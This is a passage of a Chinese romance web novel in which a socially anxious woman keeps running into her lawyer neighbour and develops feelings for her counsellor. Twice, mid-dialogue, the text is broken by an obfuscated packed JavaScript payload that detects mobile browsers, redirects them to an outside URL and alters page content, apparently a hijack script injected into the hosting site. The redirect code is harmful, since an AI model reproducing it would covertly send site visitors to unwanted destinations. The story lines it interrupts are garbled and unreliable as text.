连萌收下建议,结束当天的咨询,打车回家。 她是内耗严重的人,事情已过一周,她还是会不断回想醉酒当晚她的不当行为,以及邻居主动向她公开监控视频的举动也加深了她对他的愧疚——那一晚的监控视频,她断断续续都看了,她的闯入吓到了陈律师,但他依然绅士得体,从头到尾没触碰过她的身体,并且细心地帮她盖了薄毯。 新闻里的社会恶性事件让她觉得抱有警惕心不是坏事,但怀疑了好心收留她一整晚的人,还是会让她心有愧疚。 连萌胡思乱想了一路,在清水湾门口下车时,时间已到晚饭点——今天她跟咨询师约的比较晚,出门晚,回来也晚。 说到晚饭,她突然有点馋小区旁边面馆里的牛肉面。 连萌便没直接进小区,转了方向去吃面。 面馆不大,但生意依然很好,这饭点时间,人更是恨不得堆着坐。 连萌运气挺好,她进去时,刚好有一桌客人起身,桌子位置也是她喜欢的角落。 服务员收拾完,她落座,要了一碗牛肉面,然后玩着手机等待。 后厨动作很快,没一会儿她的牛肉面就做好了。 跟她的面一起被服务员送来的,还有一个人。 小哥忙不过来,大声且匆忙地跟她打着招呼:“不好意思哦,小姐姐,客人太多,没地方坐了,这帅哥跟你拼个桌,好吧。” 连萌本来看着手机没抬头,可“帅哥”二字忽然让她小鹿乱撞了下,一瞬间产生了很多幻想——她想要的那种自然不刻意的缘分该不会终于来了吧?老天爷是要在如此平凡的日子里给她个惊喜吗? 连萌控制好表情,满怀期待一抬头——以为的惊喜突然变成了惊吓! 不得不跟她拼桌的人,是她的邻居——那位被她醉酒闯家,被她霸占沙发,还被她怀疑为人的律师先生。 在律师先生看向她之前,连萌慌忙低下头,脸几乎要埋进牛肉面碗里。 他边看着墙上的菜单,边在她对角线的位置坐下。 连萌悄悄瞥了他一眼,心想:家跟她住对门,怎么吃个面还能跟她坐对面呀。 要跟他打招呼吗? 要谢谢他主动向她公开监控视频吗? 那天道歉的话都是连翘说的,可明明是她闯的祸,她当时却因为对他抱有怀疑而态度很不诚恳,她现在对他真心感到抱歉和感谢,要再跟他说一遍吗? 连萌的思绪千回百转,但视线却始终只敢在面和手机之间游走——拉倒吧,她有心无力,主动跟人搭话不是她能做得到的事。 连萌死死低着头,选择假装没看见他。 耳边却听见他在跟服务员说:“我要一碗跟她一样的面。” 跟她?跟他?跟谁? 他该不会是在要跟她一样的面吧? 他认出她了吗?他们也不熟呀。 可是他跟连翘熟,熟悉连翘的长相不就等于熟悉她的长相。 他要是认出来了,她要不要直接假装自己是连翘? 不对,好荒唐,这也太容易被拆穿了。 连萌在心里跟自己聊上了,并且狠狠否决了自己,最终她决定还是早点把面吃完,尽快走人为好。 手里忙着吃面,并没耽误连萌用耳朵“观察”一切。 他的手机响了两次。 他的面来了。 他吃了一口后,在调料盘里拿了瓶调料。 他将调料又放回了调料盘。 他好像吃得很快。 他放下了筷子,还抽了两张纸巾,凳子也动了动。 他是吃完,要起身了吗? 连萌看了看自己还剩半碗面的碗——好吧,她也不是非要先走,他先走也一样。 男人站起身,没预警地在她碗旁边的桌面上敲了下。 连萌不得不抬头。 他说:“视频看完,内存卡放我鞋柜上。” 他认出她了。 连萌愣愣地点头,“好。” 然后,他走了。 连萌咽下嘴里的一口面,说不上是什么心情。 只是备忘录上多了一件事——要把律师先生的内存卡还给他。 —— 吃完面回家,连萌犯起食困症,在沙发上懒了一会儿,才打起精神去洗澡。 等她洗完澡,吹完头发,摸到手机,终于想起来——对了,内存卡还没还。 她找出内存卡,穿着睡裙打开家门,手扶在门把上,脚步还没踏出门。 对面的门突然也开了。 连萌脑子都没来得及动,手上就条件反射似的迅速用力带上门。 关上门后,她才意识到自己这样也太刻意了吧,甚至有些不礼貌——可这就是她这个社恐常有的下意识,看见邻居出门就下意识关门,看见马路对面有熟人过来就下意识换路线。身体总是比她的头脑抢先动作。 连萌懊恼地想挠门,又怕挠门的声音万一被他听见,她更丢脸。 她只好无能狂怒,殴打空气,挥拳挥累了,最终泄下气来——算了,随他怎么看她。 她还是等到大家都睡了,夜里再悄悄出门还他内存卡吧。 — 陈述换上运动服,想去篮球馆打会儿球。 刚开家门的一瞬间,他明明看见邻居门里有人迈步像要往外走,结果下一秒,对面就传来震天响的关门声。 她是看见他出来了,所以又回去了? 陈述一头雾水。 连翘这妹妹虽然跟连翘长着一张脸,但性格好像大不相同,连翘聪明圆滑会表现,这妹妹——看起来无法适应社会的样子。 — 篮球馆里,中场休息时。 陈述跟哥们儿祁予望聊起搬新家之后的生活,无法避免地提到了他的邻居。 祁予望跟他平日里各忙各的,没要紧事不联系,碰上面了才会闲聊几句。 到今天,他才知道上周陈述搬家,他中途有事离开后,发生了多精彩的故事。 祁予望拿着毛巾擦汗,笑说:“世上还有这么巧的事,你竟然跟你手里实习生的双胞胎妹妹住对门?” “嗯,她醉倒在我家沙发上的时候,我还以为她就是那个实习生。结果第二天跑来两个一模一样的人跟我道歉。”陈述喝了口运动饮料。 “还好不是什么莫名其妙的人,不然这种情况,你很容易有嘴说不清。” 陈述阴阳怪气,迅速回嘴:“那还不是要感谢你走的时候,门都不帮我关好。” 祁予望心虚地笑笑:“我确实走得急,谁能想到会发生邻居醉酒走错家门的状况。” 陈述瞥他一眼,“幸亏我在客厅装了监控。” “监控?她们跟你胡搅蛮缠了?”祁予望以为陈述提到监控是因为他被纠缠了,然后用监控视频自证,从而得以脱身。 “没有,但一小姑娘早上突然发现自己在陌生的独居男人家醒来,你不给人家看看监控,人家哪能放心。” 说的也是。 祁予望好奇:“那你现在跟你这邻居抬头不见低头见的,尴不尴尬?” “见也没怎么见,上班下班都没遇见过她。”陈述想起方才出门时被她关门回避的样子,“也有可能是她不想遇见我,所以才没遇见过。” “什么意思?” “她上周跟我道歉之后,我今天碰巧在面馆里跟她拼桌才又见到她,她全程没抬过头。然后我刚刚出门,她开门看见我,就立刻又把门关起来了。” 祁予望拥有身为心理咨询师的敏感度,他和陈述的看法不同:“听起来,她更像是对社交有所焦虑,通俗说法就是社恐。” “社恐?”陈述下意识重复,细想之后,觉得她确 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“行,你千万别着急结婚。这样我爸妈跟我说我哪个同学的孩子都已经上幼儿园了的时候,我才能拿你当挡箭牌。”做心理行业的就是想得开,祁予望得知陈述并没与他受相同折磨后,一瞬间就给自己找到了新思路。 陈述哼笑一声,没发表太多意见,毕竟他俩因为各种事情互当挡箭牌的历史,可以追溯到高中阶段。 两人都早已习惯这样的定位。 — 在篮球馆打了两个小时的球,祁予望就近去陈述家冲了个澡,冲完两人聊球,越聊越欢,翻出以前的球赛重温。 看球看到十二点,祁予望才起身准备离开。 陈述犯困,径直走向卧室,“不送你了。” 进了卧室门,他又退出来,重点提醒祁予望:“把门给我关好。” 祁予望确实犯过错,他赔笑脸道:“知道了,放心。” 陈述甩上卧室门。 祁予望独自开门离开。 门一开,楼道里有亮光,陈述家门前的鞋柜旁还站了一人。 那人好像吓了一跳,迟疑了几秒,才总算开口:“陈律师,你的内存卡——” 她目光飘忽,说话也不抬头看人。 祁予望先觉得她眼熟,细看才发现真的是熟人,“连萌?” 他的来访者。 连萌听见耳熟的声音,抬眼看后,脸上表情更显惊讶,“祁老师。” 她都这样称呼他。 祁予望瞧着她,“你这是?” 午夜十二点,她出现在别人家门口确实容易引起误会。 连萌赶忙解释:“陈律师把他家监控的内存卡借给了我,他让我看完视频,把内存卡放他鞋柜上。” “哦,那你把卡给我。”祁予望顺手将内存卡接下,放到了陈述家玄关柜上,然后他出门关门,问:“你这个点来还内存卡?” “视频正好刚看完。”连萌下意识扯谎,后又想起他是她的心理咨询师,他什么都知道,她便坦诚地说:“我以为这个点不会遇见什么人。” 祁予望笑着看她,又看了眼对面灯光大亮的屋子,明知故问道:“你住这儿?” 连萌点头。 祁予望将人对上了号,原来那个醉酒进错陈述家的邻居是她。 而且,虽然之前不知情,但他们三人竟然两两都认识,这世界果然是无巧不成书。 祁予望主动向她解释:“我和陈述是高中同学。” “哦,好巧。”连萌点点头,真的很意外。 话说到这里,空气安静了一会儿。 这时间,这地点,实在不适合长聊。 祁予望开口道别:“内存卡还了,你回家吧,我也走了,下次咨询见。” 连萌又点头,转身向她家走,到了门口,却没急着进门,她回头再次瞧了眼正在等电梯的祁予望。 他今天跟他们之前见面时的样子不太一样,衣着和发型都更加运动随性,说话也不是工作腔调,语气更随和,却依然温暖友好,像邻居家的大哥哥。 连萌迈步往家里走,关上门后,感觉到自己的心脏怦怦跳。 5. 05 连萌第一次见祁予望的时候,其实就意识到了他是她喜欢的那种类型,在接触过的几位心理咨询师中最终选择他,除了他的主攻方向和咨询方法刚好适合她以外,也有他个人魅力的功劳。 祁予望的五官不算精致,但胜在和谐,身形高瘦,气质温和干净,性格阳光幽默。用种可以概括的说法,他就是人夫感很重的类型,会让你想跟他共同度过平凡日常,夏天一起吃冰淇淋,冬天一起煮火锅,挤在沙发上看电影。 而这正是连萌除了独处外,想要尝试的一种生活。 连萌承认,她是真的饿了,身边没异性,被人介绍又觉得充满负担,以至于她见个心理咨询师,不好好专注于解决自己的心理问题,反倒打起人家的主意了。 眼下每周一次的心理咨询,是连萌生活中最值得期待的事情。 又一个周六,她再次见到了祁予望。 正式开始咨询之前,祁予望有件事情想要征求她的意见:“首先,我可以向你保证,我会保护每一位来访者的隐私,不会对外透露咨询过程中的任何细节,但如果你存在顾虑,我也非常理解你的想法。我是说,我跟你的邻居是朋友,你的邻居又跟你的姐姐一起工作,要是你担心会有什么不想让身边人知道的事情传到你姐姐以及你家人耳中,我可以帮你介绍另一位适合你的咨询师。” 毕竟,尽可能坦诚才能保证心理咨询的效果,她要是有所顾虑,咨询效果势必会大打折扣。 她自己都没考虑到这一点,他却帮她考虑到了——或许这只是他的职业素养,但连萌还是因此对他更有好感了。 咨询过程中,她整个人有点飘飘忽忽的,不知哪儿来的胆子,直视他的眼睛,仔细聆听他说的每一句话,欣赏他的每一个想法。 咨询结束,连萌跑进洗手间,在镜子里看见自己微微泛红的脸颊,她往脖子上拍了点凉水,心里痒痒的——已经很久没有人让她这样喜欢了。 连萌走出卫生间时,经过祁予望的办公室,他正收拾东西准备下班。 门口,站了一个穿长裙的女生,像是在等他。 连萌本来是要直接离开,此时却不知不觉放慢脚步,直到身后有两个人超过了她。 祁予望转头问她:“你是要下楼回家吗?” 连萌不知道自己脸上是什么表情,但她点了点头。 她和他们一起等电梯。 电梯上来,他们同时客气地让她先进。 只有三个人的电梯里,她也下意识靠着角落站。 他们站在她前面,一个高大绅士,一个温柔纤瘦,两人之间隔了一点距离,却不影响他们连背影都登对。 连萌不清楚他们的关系,清晰感知到的只有自己慢慢下沉的心——原来他身边有这么亮眼的女生。 — 连萌心潮澎湃地出门,情绪低落地回家。 出租车停到清水湾门口,她付款下车,无力地呆站了好一会儿,深呼吸了两下,才打起精神往里走。 很碰巧的,有一个优雅苗条的阿姨从小区大门开始就一直跟她同路,连萌有意放慢脚步,看着阿姨在她前面走进了一号楼。 她在楼门口磨磨蹭蹭,想自己单独搭一部电梯,结果还是没能如愿——另一部电梯刚上去,等它下来要很久,而阿姨单独乘坐的这一部还开着门,连萌想念她的家,就没再犹豫,走了进去。 她想按十二楼的键,发现已经被人按了——那没别人,只有这个阿姨。 这么巧?她也到十二楼?那她应该是找对门的吧? 连萌站在电梯按键旁,直面电梯门,捧着手机,边看边猜想。 十二楼到达,连萌先出电梯,开了家门。 突然,她的背后有东西倒下的声音。 连萌吓了一跳,转身查看,是那个阿姨。 她赶忙跑上前——阿姨晕倒了,什么原因不知道,但她满头都是汗。 连萌头一次遇见这种情况,这里只有她一个人,她慌慌张张跑到楼梯口想找人求助,问了两遍有没有人,没听见任何回应。 她只能依据常识,打电话叫救护车——幸好接线员问的问题,她全都顺利答上。 连萌的心跳很快,她蹲在阿姨旁边,不敢动她的身体,也不知道能做些什么帮助她,只好拿出纸巾轻轻帮她扇风擦汗。 然后,一抬头,她看见了1202的门牌号。 她是不是得联系一下她的邻居?这阿姨应该就是来找他的。 但联系方式—— 她翻找阿姨的包,找到了手机,但不知道密码。 连萌急得不行,蹲得腿软,跪坐到了地上,然后才想起来连翘和她的邻居认识。 她忙不迭打电话给连翘。 星期六的连翘懒懒散散地接听:“喂?我还以为我看错了呢,你这么讨厌打电话的人竟然主动打电话给我?有什么……” 她废话太多,连萌又太急,两人重叠着说话。 连翘没听清:“啊?你说什么?” “有人在陈律师家门口晕倒了。”连萌语气慌张。 “谁?” “一个阿姨,应该是他的家人。” 连萌让连翘赶快联系陈述。 挂断电话不久,救护车就到了。 这里没别人能陪同,连萌被随车的医生叫上了救护车。 她在车上才看见有个陌生号码给她打了电话,她没接到,直觉是她邻居,她刚想回拨,相同的号码又打来了。 连萌接听:“喂?” 对面的男声也不似之前平稳,“我是陈述,晕倒的人应该是我母亲,她现在状况怎么样?” 母亲提前说过,今天想去他的新家看看,还要了他的家门密码。 连萌回答:“阿姨好像恢复了点意识,我们现在在救护车上,你直接去第一人民医院吧。” 救护车到达医院,阿姨被送进急诊,陈述以最快的速度赶到。 幸好,检查下来,阿姨没大事,只是低血糖,外加有一点中暑,静脉滴注葡萄糖注射液并物理降温后,阿姨开始有所好转。 全程紧张的连萌终于放下心来。 陈述守在他妈妈床边。 连萌站在靠近门口处,脚步慢慢往后退——她没有更多能做的事了,应该可以回家了。 “连萌。” 她刚转身,就被陈述叫住。 她回头看,病床上的阿姨在向她招手。 连萌愣了一下,听话走过去。 阿姨的右手在输液,左手来握她的手,跟她说:“谢谢你,小姑娘。” 连萌扯了扯嘴角,“不用谢,阿姨,您没事就好。” “耽误你时间了。”阿姨还是有些虚弱,“你要回家的话,让我儿子送你。” 连萌摇头,“不用了,我自己打车回去就行,陈律师要留下来照顾您。” 阿姨坚持要让陈述送她,连萌坚持不要。 两个回合之后。 陈述开口:“妈,我还是留在医院吧,您这儿需要人。” 阿姨瞧了眼儿子,又看向连萌,“你跟陈述是邻居,是吗?那等阿姨好了,阿姨再好好感谢你。” “只是举手之劳,您不用挂心,好好休息,阿姨再见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300559|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 连萌努力说完客套话,道别,转身离开。 — 次日一早,陈述想加连萌微信好友。 她的手机号码,是连翘昨天给他的。他尝试用手机号搜索她的微信账号,结果显示该用户不存在。 陈述再次联系连翘。 陈述:【早上好,打扰了,方便麻烦你把你妹妹的微信推给我吗?】 连翘:【陈律有事找她?】 陈述:【因为昨天的事情,我妈妈想请她吃饭,感谢她。】 连翘立刻将连萌的微信推给了他。 连萌刚巧在看手机,收到陈述添加好友的申请十分意外,她迟疑了片刻,接受申请。 一分钟后,陈述发来消息。 陈述:【你好,我是住在你对门的陈述。】 陈述:【昨天太匆忙,没来得及感谢你。】 陈述:【我母亲目前状况好转,还需休养几日,她想要下周末在家请你吃饭,到时候有空的话还望赏光。】 这样去别人家吃饭的邀请,连萌第一反应就是拒绝。 无论是谁倒在她面前,她都会愿意帮忙叫个救护车的,这也不是为了对方的感谢。 连萌知道他家礼数周全,但她做回好人好事,并不想为难自己。 连萌回复:【阿姨实在太客气了,昨天只是举手之劳,我也很庆幸我有帮上忙。】 连萌:【不过,不好意思的是我下周末已经有约,到时候人应该不在北洲,饭可能就没办法去吃了,谢谢阿姨的心意。】 连萌:【祝阿姨身体健康。】 连萌当然是没有约的,她随口扯谎,只是不想社交——她心中已在打算,等下周末来临前,她要提前预备好两天的口粮,周末待在家里,连外卖都不要点,以防出现被陈述撞破谎言的尴尬场面。 而且,她也确实不需要陈述的感谢,之前她醉酒给他添了麻烦,这次她帮了他妈妈,就当是扯平了吧。 陈述很干脆,没跟她多做拉扯。 陈述:【好的,那下次有我能帮上忙的地方,你再开口。】 嗯?还有这好事儿? 连萌脑筋动得挺快,她的邻居欠了她人情,给了她有事随时可以找他帮忙的承诺——这位邻居可是知名律所的律师。 连萌莫名感觉可以好好利用下这机会,然而转念立刻又意识到,他是律师,要是真用到他了,不就意味着她的生活或工作遇见什么纠纷和难题了吗? 连萌撇撇嘴,还是算了吧,别自己咒自己。 她刚想到这里,连翘来了消息。 连翘:【陈律妈妈要请你吃饭?】 连萌:【我的微信是你推给他的?】 连翘:【不然呢?回答我的问题。】 连萌:【我没答应去吃饭。】 连翘先是发了一连串的问号,紧接着:【为什么!你改改你社恐的毛病吧。】 连萌:【不用你管。】 连翘:【其他事我不想管你,但这顿饭你能不能去吃?】 连萌:【为什么?】 连翘:【硕士毕业后,我很希望可以进入万禾律所工作,现在跟万禾里最被看好的年轻律师打好关系,有点私人交情,总没有坏处。】 连萌依然拒绝。 连翘痴人说梦,竟然指望她这个过去一年没出过几次门、目前正在靠心理咨询自救的社恐人士,去帮她搞好人际关系? 连萌无语,并且不想再理她。 连翘连发可爱表情包讨好。 连萌丝毫不心软,将手机扔远了点,眼不见心不烦。 6. 06 连翘心急如焚,不想错失良机。 连萌事不关己高高挂起,当晚还有闲心去附近电影院看了场电影——电影是上个月上映的,票房口碑都不错,她一直想看。 她特地买了晚上十点的票,本日最后一场的时间段加上电影热度退去,没别人买票,给了她几十块钱就能包场的快乐。 到点检票后,她走进观影厅,身心放松、大摇大摆地往正中间的位置一坐。 没等多久,观影厅熄灯,广告结束,正片开始。 片头放完,电影有几秒安静无声的片段。 在这间隙,连萌忽然格外敏锐地听到了有鞋踏在地毯上的轻微脚步声,她往入口拐角处看去。 果然,又有一人走了进来。 此刻光线很暗,连萌轻度近视,很难看清来人的脸,心下猜测是不是影院工作人员——毕竟这场除了她,也没别人买票。 可那人朝着她这排走来了,他一身衬衫加西裤,身材颀长挺拔,看着又不像工作人员。 他在她的前一排停下脚步,稍微观望了下后,往中间位置走来。 他走得越近,连萌看得越清,然后迅速确认——她又跟她的邻居巧遇了! 怪不得人家都说得跟邻居处好关系,住在对门,日常活动区域都一样,只要出家门,当真是抬头不见低头见。 连萌视线游移,下意识抬手挡了半张脸,微微低着头,没有与邻居相认的打算。 待他隔了两个位置的距离落座她侧前方后,她才抬头。 连萌轻轻叹了口气,支着脑袋看电影。 或许是她期待值太高,片子不至于是烂片,但也没她想象中精彩,不至于让她想走人,但确实让她没看到一半,注意力就开始涣散。 连萌忍不住好奇同场另一个观众的反应。 从她的角度看他的侧脸看得很是清楚,她盯着他发了一分钟的呆,只见他从始至终都是一个表情,完全看不出他对这部电影的观感。 连萌虽没能从他那里获得共鸣,可看着他,思绪就能很自然而然地联想到他的好友——最近她真的花了很多时间想着祁予望,即使是周六见他与漂亮女孩走在一起后。 那个女生跟他到底是什么关系? 连萌简直有冲动想跟就坐在她眼前的陈述打听打听。 但再强烈的冲动都会被她心底对于社交的恐惧压下去。 她无法完成“打听”这个动作,只能沉浸在自己的思绪里,习惯性地继续琢磨着祁予望。 人家都说,想要知道一个人本性如何,可以去了解他都有什么样的朋友。 陈述和祁予望是高中同学,至今依旧要好,他们能一起度过那么漫长的岁月,按理说应该是非常合得来的关系。 可只看外表和气质,他们并不像一类人。 祁予望温和暖心,会让人想到温馨甜蜜又实实在在的小日子。 而陈述看起来像是某部审美很好的职场剧里会出现的律师角色,他是典型的精英长相,眉骨高挺,眉眼深邃,侧脸线条凌厉利落,黑短发又非常恰好地突显了他的高智感。总之,光看着就让人很有距离感。 他不像祁予望能让人放松安心又愉快。即使只是作为同一场电影的观众坐在一起,他都会让她感到焦心,总觉得自己相比起来既不够聪明,也不够漂亮。 不客气点说,陈述是会引起别人焦虑的那种人。 祁予望这位专业帮人疏解焦虑的心理咨询师竟然和他是多年好友。 连萌想不通,瞧着他的侧脸,撇了撇嘴。 然后,接着看电影。 电影结束,时间已过零点。 连萌从观影厅里出来,只觉得整栋楼都空荡荡的。 幸好,等电梯的时候,另一部正热映的电影结束,另一个厅里有挺多人吵吵嚷嚷地出来了——连萌觉得自己真奇怪,平时到哪儿都怕人多,但在这午夜静悄悄的商场里,又诚实地希望能多几个同行者。 她挤上电梯,到了一楼下来,听见了点不得了的声音。 外面不知何时开始下起了雨。 连萌跟着人群到门口一看,下的还是瓢泼大雨。 她心底一阵绝望。 清水湾离这儿很近,大约四百米,好天气时走路轻轻松松就能到,但要是淋着倾盆大雨走回去,那这四百米就是势必会让人狼狈不堪并且生病的距离。 连萌身边的人群里,大家都在抱怨这一场突如其来的大雨,有人忙着打车,有人打电话叫家人来接,有人在后悔没开车来,人家开车来的人待会儿到家了,他们这伙人都不知道能不能打到车。 连萌同样尝试着打车,但凌晨、暴雨、加上这么多人一起打车,想也知道,机会渺茫。 她在心里祈祷这场夏天的阵雨,能来得快,走得快,下下就会停,或者暂停几分钟,让她跑回家就行——连萌穿着灰粉色宽松款的运动套装,短袖加短裤,十分轻便,很有信心能跑得快。 连萌默默这么想着,可眼前这雨一点面子都不给,非但没变小,还有越下越来劲的趋势。 她低头看着手机里没人接单的打车软件,干着急。 然后,再等她抬头,只见雨中有人撑着伞正向他们这边走来。 远处的天空漆黑,近处被灯光照亮,他在半明半暗之间撑着把透明雨伞,雨水经过伞面砸在地上,溅起的水花湿了他的裤脚,他却不受其扰,脚步利落地走过来,优雅得像电影里的某个场面。 看,她就说了,他不像现实中的人,狼狈的现实环境也无法裹挟他半分。 不过,他怎么会从这个方向来? 她刚刚最后注意到他,是因为他没跟她挤同一趟电梯。 搭下一趟电梯去地下停车场取了车的陈述在她面前站定,沉声说:“我只有一把伞,你要跟我一起走吗?” 看来,在她注意到他的时候,他也认出了她,现在是来当个好心的邻居。 在这里等到雨停,或是穿过大雨冲刺回家,都是比跟他一起走更残酷的选择。 连萌只能点头,“谢谢陈律师。” 说完,她在他的示意下,走到他的伞下。 而后,他们一起走进大雨里,溅湿他裤脚的水花也溅到了她穿着凉鞋的脚面上,他们身高差很大,陈述尽量将伞移向她,还是未能避免他们俩都被淋湿了半边身子。 雨实在太大了。 等到好不容易坐进停在路边的车里,陈述在后座扯了两条毛巾,递了一条给副驾的连萌——这是他备在车上用来运动后擦汗的毛巾,当然,也可以用在这种情况下。 毛巾散发着洗衣液的清香,松松软软。 连萌擦擦自己的胳膊和腿,然后系上安全带。 陈述穿着衬衫和长裤,用毛巾擦作用不大,水依然在滴,他略感不适,不自觉地蹙了下眉,系上安全带,开车回家——加班后路过商场,不甘心好好的周日被工作塞满,他穿着不便的正装也想看场电影,谁知道遇上场大雨,不舒服的衣服淋了雨,变得更加不舒服。 路途中没人说话,车上很安静,好在油门一踩,不到四百米的距离,转眼到达。 陈述将车停在一号楼门口,伞递给连萌,“你先上去吧,伞放在我家门口就行。” 连萌看着伞,礼貌性地关心了一句:“你不回去吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300560|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回,我去停车。”陈述答。 他回来得晚,楼门口的车位被停满了,得找别的位置。 连萌想了下,把伞推还给他,“那我先回去了,谢谢陈律师。” 他要去别处停车,回来的距离更远,伞当然得留给他。 连萌说完,在陈述有所反应之前,她打开车门,冲进雨里,大步跑进了楼里。 见她确实用不上伞了,陈述收回视线,找地方停车。 连萌湿漉漉地上了电梯,回到了十二层。 她边拍着身上的雨水,边走向家门用指纹开锁,指纹密码锁却意外地没有一点反应。 连萌将滑盖滑开又合上,重复了好几次,手指在屏幕上茫然地点了又点,都没用。 什么情况?没电了? 连萌低头看看自己一身的雨水,无语地笑了下——这锁就偏要挑这种日子没电吗? 她缓了口气,打电话给连翘求助——手机电也只剩百分之十五了。 她打第一遍,连翘没接,别无他法的连萌只好又打第二遍。 陈述到达十二层,拿着伞出了电梯,就看见她正面对着她家门锁,扶额在打电话——她的衣服也比之前更湿了。 陈述下意识放慢了走路和开门的动作,见她打出的电话似乎没被对方接听之后,出声询问:“需要帮忙吗?” 连萌转身看他,整个人显出无力感,“没电了。” “手机没电了?”陈述问。 “密码锁没电了,手机也快没电了。”连萌诚实作答,正在下暴雨的午夜,她再社恐,也希望有个人能帮帮她。 陈述松了口气,他还以为发生了多大的事,他听她说话都隐约听出了点哭腔。 “有备用钥匙吗?”他继续了解情况。 “在家里。”她没有出门上班,并没有其他能放备用钥匙的地方,同时确实存在侥幸心理,之前真不觉得会发生眼下这种情况。 “你等一下。”陈述转身开门进家里,很快拿了充电宝和数据线出来,他边操作边解释:“正常的指纹锁都有应急取电功能,试试有没有用。” 陈述帮她折腾了一会儿,指纹锁依然不给任何反应——这锁不像是没电,更像是坏了。 这结论一出来,连萌更加不知所措。 “可能得明天找开锁换锁的师傅帮忙看看。”陈述先给她快要没电的手机充上电,接着问她:“连翘实习,是住学校,还是住外面?” “外面。” “那我送你去找你姐姐?” “她不接电话。” 陈述疑惑:“你不知道你姐姐住哪儿?” “知道。” “那……”直接上门找她不就好了? 陈述的话没来得及说出口。 连萌已经在解释:“但她——跟男朋友一起住,不打一声招呼就找上门可能不太好。” 而且,他们住的是酒店式公寓,总共一个房间一张床,她真去了,三个人这一夜还不知道要怎么睡。 事已至此,借他家客房给她睡一晚的想法掠过陈述的脑海,但他没有说出口,作为一个比她年长几岁的独居男人,说这话,实在太像不怀好意。 陈述想了想,“要不你去附近酒店住一晚?” “我没带身份证。”连萌的小脸困扰到皱皱巴巴起来。 “没事,手机里可以查到电子证件,以防万一,我带上我的身份证,去跟前台说明一下情况,应该能行。”陈述有条不紊地计划着,然后转身就要回家拿身份证。 连萌见状,不知道哪儿来的胆子,轻轻扯住他的衣袖,“陈律师,我能不能再借你的沙发睡一晚?” 7. 07 连萌觉得陈述有距离感是真的,但她信任他也是真的——自从他收留醉酒回错家的她一夜,次日还主动跟她分享监控视频开始,她就相信他是好人,并且聪明的律师应该不会干自绝后路的蠢事。 连萌不知道自己对他的这种信任算不算盲目,但比起冒雨去敲连翘的门,承受和情侣共处一室的尴尬,和冒雨跑去酒店跟全然陌生的服务人员打交道,抑或在网上叫个师傅深更半夜冒雨来给独居的她开锁,她还不如厚着脸皮赖在这个尽力帮她想办法,还愿意送她去这去那的好心邻居家。 陈述似乎对她主动提出这样的请求感到意外,他在考虑。 “你不是说如果我有需要帮忙的地方,可以找你吗?”连萌怕他拒绝,将他之前给的承诺提出来,但又怕自己是在得寸进尺,“还是你刚刚带我回来,已经算是帮了我的忙?” 连萌扯住他衣袖的手,慢慢松开,滑落。 陈述垂眸瞥了眼她的小动作和她被淋湿的衣服,以及她手臂上的雨水——虽是夏天,但凌晨加暴雨,温度降低,他都被湿衣服搞得浑身冰凉,想来她也是一样的情况。 连萌揉揉潮湿的短发,像只淋了雨的猫咪委屈巴巴地在给自己顺毛。 陈述说:“那就进去吧,不过这算不上是在还你人情。” 他今天会帮她,她之前救了他晕倒的母亲算是其中的一部分原因,但他并没有觉得帮这么点小忙就能抵消这份人情。 陈述拉开自家门,让她先进。 连萌迎着灯光走进去,刚进门就打了个喷嚏。 陈述指了指客房的方向,“你先去洗个澡吧,客卫架子上有新浴巾。” 连萌点了下头,但脚步迟疑。 陈述突然想起来:“哦,衣服……就只能穿我的了,可以吗?” 他这句话说完,气氛有些许尴尬——男女有别,还是不太方便。 连萌再点头,“麻烦了。” 陈述进衣帽间,翻出套别人送给他的尺码偏小的T恤和短裤,还在茶几上找了个别针,以便她调节裤腰尺寸。 连萌抱着他给的干净衣服和别针,进了客卫。 陈述也回主卧,洗澡换衣。 等他出来,客卫的水声还没停,时间已经很晚,他明天还要早起上班,但又怕客人有其他需要,只能在客厅等她洗完睡觉,他再去睡。 十分钟后,连萌用毛巾擦着头发,走出来,轻声问:“请问有吹风机吗?” 陈述愣了下,“客卫墙上没挂着吹风机?” 连萌回想:“没有啊。” 两人同去确认,确实没有。 上一个在客卫洗澡吹头发的是祁予望。 陈述边回头去拿主卧的吹风机,边自言自语骂了句:“祁予望来一趟,我这就得出点状况。” 跟在他身后的连萌听见了熟悉的名字,但没听清他说的后半句,下意识疑问了声:“啊?” 陈述转身解释:“哦,我一个朋友,之前用过客卫吹风机的人就只有他,不知道他放哪儿去了。” 连萌没忘了自己想要向他打听祁予望的念头,既然他主动提及,她便小心翼翼地拓展话题:“这个朋友是祁老师吗?” 陈述进主卧卫生间拿吹风机的同时,提高音量表示疑惑:“祁老师?你们认识?” 等在客厅的连萌待他出来,才回答:“他是我的心理咨询师,我都叫他祁老师。” 陈述跟祁予望聊起他的邻居时,祁予望确实提过可以介绍她去他那儿聊聊,但这还没过去多久,他就绕过他,把他的邻居变成了他的客户? 祁予望够有本事的呀,陈述心想。 可连萌紧接着的解释却在说明并不是这样像他想的这样,“我跟祁老师见过挺多次了,上次还您内存卡时,和他在您家门口巧遇,才知道你们是好友。” “原来是这样。”陈述反应了会儿,“世界还真是小。” 她的双胞胎姐姐是他的实习生,他的高中同学是她的心理咨询师,他们是邻居——世界真是小。 陈述将吹风机递给她。 连萌看起来并不着急吹头发。 